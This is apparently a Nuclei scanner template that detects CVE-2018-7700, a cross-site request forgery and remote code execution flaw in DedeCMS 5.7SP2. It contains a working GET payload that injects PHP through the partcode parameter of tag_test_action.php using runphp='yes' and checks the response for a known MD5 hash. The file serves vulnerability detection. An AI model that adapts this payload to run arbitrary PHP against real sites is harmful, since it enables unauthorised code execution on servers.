id: CVE-2018-7700

info:
  name: DedeCMS 5.7SP2 - Cross-Site Request Forgery/Remote Code Execution
  author: pikpikcu
  severity: high
  description: |
    DedeCMS 5.7SP2 is susceptible to cross-site request forgery with a corresponding impact of arbitrary code execution because the partcode parameter in a tag_test_action.php request can specify a runphp field in conjunction with PHP code.
  reference:
    - https://laworigin.github.io/2018/03/07/CVE-2018-7700-dedecms%E5%90%8E%E5%8F%B0%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7700
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2018-7700
    cwe-id: CWE-352
  tags: cve,cve2018,dedecms,rce

requests:
  - method: GET
    path:
      - "{{BaseURL}}/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5%28%22CVE-2018-7700%22%29%3B{/dede:field}"

    matchers-condition: and
    matchers:

      - type: word
        part: body
        words:
          - "4cc32a3a81d2bb37271934a48ce4468a"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/06/16